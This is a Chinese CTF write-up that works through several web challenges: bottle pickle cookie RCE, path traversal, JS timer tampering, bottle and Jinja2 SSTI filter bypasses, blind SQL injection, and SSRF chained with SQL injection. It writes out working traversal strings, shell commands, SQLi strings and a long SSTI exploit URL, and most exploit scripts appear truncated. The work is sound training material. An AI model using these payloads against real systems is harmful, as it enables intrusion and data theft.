前言:
感觉比赛还是挺难的,当时卡在Signin那题卡了一晚上,感觉就是bottle库的一个pickle反序列化,但是试了半天没试出来(看wp发现是无回显,所以当时其实已经打出来了),导致我其他题目也没看。所以赛后重新做一下并复现。同时,这里感谢SfTian师傅提供的复现平台。
Signin
描述:来点真正的签到吧!
考点:bottle库pickle反序列化、无回显rce
看源码的逻辑,猜测先在download路由通过目录穿越文件读取到secret.txt获取密钥,然后在secret路由打cookie伪造
但是源码里吧../../
给禁用了,直接用./.././../
绕过
1 | download?filename=./.././../secret.txt |
得到secret
1 | Hell0_H@cker_Y0u_A3r_Sm@r7 |
跟进到bottle.py查看一下set_cookied
的逻辑
可以看到在加密的过程中进行了一次pickle的序列化
先用脚本看一下当前的cookie解密后是什么样的
1 | import bottle |
可以看到当前的cookie为
1 | ['name', {'name': 'guest'}] |
根据这个我们可以在name位置构造恶意类进行pickle反序列化。
当时的exp:
1 | from bottle import cookie_encode |
但是发现没有东西
发现没有回显,赛后看wp才发现是无回显。。。
exp:
1 | from bottle import cookie_encode |
网站请求完后再利用download路由查看1.txt
1 | /download?filename=1.txt |
可以发现命令执行成功了,后面就获取flag就行了
1 | tac /f*>>2.txt |
ez_puzzle
描述:你能在两秒之内完成拼图吗?
考点:js前端调试,js混淆盲测
进入后发现f12和鼠标右键都被禁用了,但是这题感觉应该是要打js前端,需要用到调试器和控制台。
利用Ctrl+U
可以看到源码,发现/js/puzzle.js
,查看后利用这个页面打开f12然后返回到主页。
此时就可以打开调试器查看了。
根据描述,需要在两秒内解决,查看puzzle.js
文件直接全局搜索time
可以发现有一个startTime和一个endTime,虽然js代码被加了混淆,但是可以通过这两个猜测出拼图的完成时间是通过startTime和endTime的差值来计算的。
将拼图拼完(js被混淆了,逻辑没法看只能手拼,有点艹蛋),返回控制台尝试查看一下startTime发现直接输入startTime就出来了也不需要调用调用某个函数或方法啥的,说明startTime是一个已经定义并赋值的变量。但是查看endTime的时候却发现endTime并未被定义。
此时我先是尝试将endTime赋值为173,但是发现并没有啥作用。
接着我点击图片发现才算结束,再次查看endTime发现此时的endTime为673668。
那么此时我就有一个猜想,如果我将startTime设置为1000000也就是endTime基本无法超过的值,此时他们的差值为负数那么应该就能够绕过了。
再次重新拼图(我*@#&!%)
1 | startTime=1000000 |
再次点击图片就得到flag了
出题人已疯
描述:出题人已疯,你知道出题人为什么疯吗
考点:基于bottle的ssti、拼接绕过长度限制
题目给了源码,直接看关键点
可以发现可能存在ssti模板注入
尝试一下
确定ssti模板注入的存在
测试一下{{config}}
结果发现返回错误,{{lipsum}}
也是返回错误,说明应该是存在黑名单的。
本来想写个脚本爆破一下黑名单,但是发现误报太多了(以class为例,如果{{"".__class__}}
是可以的但是当{{class}}
就不行了)
本来用最基础的打,结果发现到base就报错了
仔细看一下代码发现对长度有限制
1 | payload and len(payload) < 25 |
再次查看源码发现可能存在基于bottle库的SSTI注入。但是直接命令执行的话,可以看到源码禁用了popen
,所以只能用system来执行,但是{{__import__('os').system('whoami')}}
长度也是超过了25,用%
的方法%0a%%20__import__('os').system('whoami')
也是超过了25。
所以这里我们只能采用拼接的方法来绕过。
错误exp:
1 | import requests |
但是我发现没得到结果
看了下wp发现又是无回显。。。
获取flag
exp:
1 | import requests |
出题人又疯了
描述:无
考点:基于bottle的ssti、斜体字绕过
这题跟上一题差不多,唯一不同是多了一个blacklist = ['o', '\\', '\r', '\n', 'import', 'eval', 'exec', 'system', ' ', ';' , 'read']
。
但是要该怎么绕过呢?这里我也是想不到了,直接看的wp,发现用斜体字可以绕过
先用脚本处理一下payload:
1 | import re |
将得到的结果带入我上面那题的exp但是发现不成功,仔细一看才发现import和eval也被过滤了。。。再处理一下,结果发现还是不行,再看源码发现\n
也被过滤了。。。
没办法用上一题的exp打了现在(绕了半天也绕不过去了),直接看wp发现直接用open打开flag就行了
处理一下{{open(%27/flag%27).read()}}
payload:
1 | /attack?payload={{%BApen(%27/flag%27).re%aad()}} |
ezsql(手动滑稽)
描述:简单sql(手动滑稽),不需要sqlmap等自动化工具,请手工哟∧_∧
考点:sql布尔盲注+and、空格及逗号绕过,无回显rce
一进去就看到登录界面,先尝试一下用户名密码存不存在注入点,用admin\
测试
发现存在sql注入,并且是字符型注入。
用admin' and 1=1#
测试发现被过滤了,测试了一下发现过滤了 空格、and
、/**/
、--+
用%09可以绕过空格、用or代替and
1 | admin'%09or%091=1# |
应该存在布尔盲注,测一下数据库长度
1 | username=admin'%09or%09(length(database())=6)#&password=1 |
发现为6接着就用脚本爆数据库就得了
exp:
1 | import requests |
有点坑的是,这题我用脚本的时候用%09
不行只能用\t
才行(猜测是编码问题),运行的时候发现失败再次测试发现,
被禁用了,所以我只能弃用ord(mid(...,...,...))
的方法,改用substring(... from ... for ...)
的形式。(最操蛋的就是这个逗号禁用了,害我改了一个小时的脚本。。。)
得到密钥后输入,进入到一个命令执行界面
但是随便执行个命令发现没东西,盲猜又是无回显。这里空格被禁用了用%09
绕过,但是我发现不管怎么穿越都找不到flag的位置
1 | ls%09/../../../>2.txt |
后面我才发现我写入的文件位置不对,正确的应该是要加上/var/www/html
(我还是挺奇怪的,正常直接2.txt
就是在/var/www/html
目录了)
获取flag
1 | tac%09/../../../flag.txt>/var/www/html/1.txt |
Fate
描述:一生中能改变命运的机会可不多啊。
考点:
127.0.0.1
的DWORD值绕过、双重url编码绕过、json反序列化、python格式化字符串漏洞+逻辑漏洞、sql注入
题目给了源码,代码审计app.py
首先看到/1337
路由
先不考虑waf这些的,这段代码的关键点在于db_search()
,跟进到其定义
可以看到这段代码执行了一条sql查询语句,因此这题有可能存在sql注入。但是要执行到db_search()
有几层逻辑。
首先第一层就是需要本地127.0.0.1
访问。往上看存在一个/proxy
路由
提供了一个url参数,并且拼接到http://lamentxu.top后面,很明显是打ssrf做代理。
假设我们拼接上一个@127.0.0.1
此时服务器就会对127.0.0.1
发起请求从而实现下面本地127.0.0.1
访问。
但是这里设置了waf,把.
和任何ASCII字母(a-zA-Z
)给禁用了,说明我没没法用127.0.0.1
或者0.0.0.0
或者localhost
。
这里用127.0.0.1
的DWORD值2130706433就可以绕过
1 | proxy?url=@2130706433 |
但是我发现直接显示500说明我们当前应该是成功绕过127.0.0.1
了,但是却没有看到index.html
这里我卡了好久,后面想到可能跟端口有关系,127.0.0.1
后面不跟端口默认的是80端口,但是有一些网站它使用8080端口作为HTTP服务的端口,尝试一下
1 | proxy?url=@2130706433:8080 |
可以看到成功进入到index.html
了(这里卡了我半天才想到)
接下来就可以进入我们上面分析存在主要漏洞点的/1337
路由了,绕过了本地访问的逻辑,接着往下看
来看一下这一段代码的逻辑,首先提供了一个参数0并将其值赋给code,如果code的值等于abcdefghi则会提供一个参数1并将其值赋给req。
如果给req提供一个name字段,并将name值等于我们所要执行的sql语句那么久有可能能够实现sql注入。
有点思路了就照着这个思路尝试一下。
这里0的值其实还是受着/proxy
路由中黑名单的限制,我们不能直接用?0=abcdefghi
,这里可以用双url编码绕过
1 | /proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569 |
可以看到已经绕过了,进入下一层逻辑,也就是构造req。
可以看到代码首先用binary_to_string()
对req进行编码,跟进到其定义查看
这段代码的作用是将二进制字符串(如网络协议数据)转换为可读字符串。
接着往下构造req,可以看到用json.loads()
将JSON格式的字符串req反序列化为Python字典。
所以要构造req的格式应该如下:
1 | {"name": value} # value为我们所需要构造的sql命令 |
经过json.loads()
反序列化后的Python字典如下:
1 | {"name": value} |
在下面的name = req['name']
则是取出字典中name字段的值,用下面这段代码演示一下会更清楚
1 | import json |
查看一下init_db.py
中数据库的结构
可以看到一个明显的flag{FAKE}
,按照我之前出sql题的经验,一般用FLAG环境变量替换这个flag{FAKE}
。所以读取到这个LAMENTXU的值应该就可以获取到flag了
清楚了要执行的sql语句,再返回查看一下sql语句。
1 | SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}'))))))) |
这段sql语句是从FATE表中查询NAME,此时只要我们的name等于LAMENTXU就可以得到flag了。
接着往下看,对name的值进行了一个限制
name的值不能大于6,所以我们不能直接使用{"name":"LAMENTXU"}
,剩下两个暂时不知道啥用的。
好的彻底燃尽了,这里想了半天也没想明白要怎么绕过这个长度的限制,直接看wp了。。。
发现这里利用到python格式化字符串漏洞和一个逻辑漏洞(研究了半天才搞明白。。。)
此时我们可以构造个恶意的sql的语句(注意:sqlite3的注释符为--
)
1 | {"name": {"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": "1"}} |
被json.load()
反序列化后的字典为
1 | {"name": {"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": "1"}} |
可以自己在本地尝试一下
1 | req = {"name": {"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU'#": "1"}} |
此时拼接到sql语句里如下
1 | f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": '1'}')))))))" |
并且这里利用f-string
格式化字符串执行查询语句,所以code能够解析出python字典,如果没有这个f-string,那么就没法将{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": "1"}
给嵌入进去。
可以看到执行查询语句SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU'
这里解释一下两个漏洞的利用
疑问:
{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": '1'}
不应该会超过6吗为什么可以通过。解决:这其实就是利用逻辑漏洞
此时的
{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": '1'}
是一个字典,在计算长度的时候只会计算字典的键值对数量,这里只有一对键值长度为1。python格式化字符串漏洞:这里举一个例子会清楚点
1
2
3 a = ['a', 'b', 'c']
print(f'test {a}') # 输出: test ['a', 'b', 'c']
print('test {a}') # 输出: test {a}
接下来我们只需要把我们的payload进行一层编码然后赋值给1就行了
exp:
1 | def string_to_binary(input_string): |
但是这里还有一个点要注意的是&
要用url编码为%26
才行
完整payload:
1 | /proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=01111011001000100110111001100001011011010110010100100010001110100010000001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001000000010001000110001001000100111110101111101 |
Now you see me 1
描述:
{%print("7*7")%}
考点:SSTI构造字符集绕过、
importlib.reload()
恢复命令执行函数
刚看到源码一眼疑惑,后面发现怎么旁边还能拉,拉到最右边在27处发现一串base64加密的代码
解码后的代码如下:
1 | # YOU FOUND ME ;) |
找到存在ssti注入的漏洞点
但是这题有几个限制
- 设置了一个黑名单
- 必须以
Follow-your-heart-
为开头 - ``是Jinja2注释语法,正常情况下不会执行内容
- 删除了所有可能执行系统命令的函数
这里也是没什么思路,参考了几位师傅及官方的wp
首先先来解决注释的问题,直接用#}{name}{#
闭合即可,{{}}
被禁了用则用{%%}
代替。(注意:这里的#}{#
要进行url编码)
1 | /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%print(7*7)%}%7b%23 |
接下来我参考了两种打法
法一:利用config+request.url构造字符集
可以看到config是不在黑名单中的,所以我们可能可以利用该payload进行rce
1 | {%print(config.__class__.__init__.__globals__['os'].popen('whoami').read())%} |
但是观察黑名单我们可以发现下划线被过滤了,并且引号也被过滤了,所以没法直接绕过下划线。那么现在下划线的构造就成了一个问题。这里我们就可以通过从将config文件的内容切分为一个一个的字符,然后放入循环中逐个获取。
1 | {% for i in config|string|slice(1) %} |
这里可以用一个脚本获取我们想要字符的位置
1 | # 字符列表 |
用config.__class__.__init__.__globals__
获取os,但是此时就会发现class
和globals
构造不出来缺少了几个字符
再次返回查看黑名单就可以发现request也没有被禁用,所以我们这里通过request.url
等方式来拓展字符集。(这里__url__
的字符之间用~
来拼接,下划线用attr()
绕过)
1 | {% for i in config|string|slice(1) %} |
改一下上面那个脚本的字典,然后就可以接着拼接了(i和j都可以用来拼接)
接下来就是继续构造config.__class__.__init__.__globals__
1 | {% for i in config|string|slice(1) %} |
但是这里我不知道哪里触发到黑名单了搞的我一脸懵逼,所以这里用application来执行request.application.__globals__['__builtins__']['__import__']('os').popen
(下划线被禁用用attr()
绕过,[]
被禁用用__getitem__
)
1 | {% for i in config|string|slice(1) %} |
可以找到popen的位置,尝试一下命令执行
1 | {% for i in config|string|slice(1) %} |
可以发现确实不能命令执行,经过上面的分析我们知道该环境删除了所有可能执行系统命令的函数
这时候就需要恢复命令执行函数,利用下面的代码可以进行恢复
1 | import os |
可以在本地测试一下
按着这个思路我们接着构造
1 | {% for i in config|string|slice(1) %} |
获取flag
1 | {% for i in config|string|slice(1) %} |
但是直接报错了,试了好多次都不行。看了wp说用base64读
1 | {% for i in config|string|slice(1) %} |
发送到Decoder解码后得到flag
1 | flag{N0w_y0u_sEEEEEEEEEEEEEEE_m3!!!!!!} |
法二:利用request.endpoint
找request.data
,利用request.data
构造字符集
这种是官方的打法,比第一种方法会方便一些。
我这里懒得再构造了,人麻了,直接看官方的wp吧 https://www.cnblogs.com/LAMENTXU/articles/18730353
官方直接用脚本整的,直接粘个exp放这
exp:
1 | import re |
Now you see me 2
描述:
{%print("7//7")%}
压缩包密码为“Now you see me 1”的flag考点:SSTI构造字符集绕过、
importlib.reload()
恢复命令执行函数、LSB隐写
跟第一题一样,就是后面获取flag的方式不同
这里直接拿官方的脚本打
1 | import re |
运行后
1 | GET /H3dden_route?spell=fly-%23}{%for%0ai%0ain%0arequest.endpoint|slice(1)%}{%set%0adat=i.9~i.2~i.12~i.2%}{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}{%set%0aa0%0a=%0ak.16~k.31~k.31~k.27~k.24~k.18~k.16~k.35~k.24~k.30~k.29%}{%set%0aa1%0a=%0ak.2~k.2~k.22~k.27~k.30~k.17~k.16~k.27~k.34~k.2~k.2%}{%set%0aa2%0a=%0ak.2~k.2~k.22~k.20~k.35~k.24~k.35~k.20~k.28~k.2~k.2%}{%set%0aa3%0a=%0ak.2~k.2~k.17~k.36~k.24~k.27~k.35~k.24~k.29~k.34~k.2~k.2%}{%set%0aa4%0a=%0ak.2~k.2~k.24~k.28~k.31~k.30~k.33~k.35~k.2~k.2%}{%set%0aa5%0a=%0ak.34~k.36~k.17~k.31~k.33~k.30~k.18~k.20~k.34~k.34%}{%set%0aa6%0a=%0ak.30~k.34%}{%set%0aa7%0a=%0ak.24~k.28~k.31~k.30~k.33~k.35~k.27~k.24~k.17%}{%set%0aa8%0a=%0ak.33~k.20~k.27~k.30~k.16~k.19%}{%set%0aa9%0a=%0ak.31~k.30~k.31%}{%set%0aa10%0a=%0ak.22~k.20~k.35%}{%set%0aa11%0a=%0ak.34~k.20~k.35~k.16~k.35~k.35~k.33%}{%set%0aa12%0a=%0ak.34~k.40~k.34%}{%set%0aa13%0a=%0ak.28~k.30~k.19~k.36~k.27~k.20~k.34%}{%set%0aa14%0a=%0ak.38~k.20~k.33~k.26~k.41~k.20~k.36~k.22%}{%set%0aa15%0a=%0ak.34~k.20~k.33~k.37~k.24~k.29~k.22%}{%set%0aa16%0a=%0ak.34~k.20~k.33~k.37~k.20~k.33~k.2~k.37~k.20~k.33~k.34~k.24~k.30~k.29%}{%set%0aa17%0a=%0ak.31~k.30~k.31~k.20~k.29%}{%set%0aa18%0a=%0ak.17~k.16~k.34~k.20~k.12~k.10~k.3~k.68~k.21~k.27~k.16~k.22~k.2~k.23~k.9~k.33~k.9%}{%set%0aa19%0a=%0ak.33~k.20~k.16~k.19%}{%set%0aa20%0a=%0ak.64~k.60~k.48~k.50~k.59~k.20~k.32~k.36~k.20~k.34~k.35~k.49~k.16~k.29~k.19~k.27~k.20~k.33%}{%set%0asub=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a5)%}{%set%0aso=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a6)%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(sub))%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(so))%}{%print(g|attr(a9)|attr(a1)|attr(a10)(a3)|attr(a10)(a11)(g|attr(a9)|attr(a1)|attr(a10)(a12)|attr(a13)|attr(a10)(a14)|attr(a15)|attr(a20),a16,g|attr(a9)|attr(a1)|attr(a10)(a3)|attr(a10)(a4)(a6)|attr(a17)(a18)|attr(a19)()))%}{%endfor%}{%endfor%} |
但是这里直接解码看不到flag了是一个png文件
下载到本地
然后打一个LSB隐写就出来了 https://toolgg.com/image-decoder.html
总结:
感觉题目质量还是挺高的,自己就打出了ez_puzzle,Signin和ezsql都差一个小点就出来了,最麻烦的感觉还是Now you see me 1真想给出题人寄刀片。。。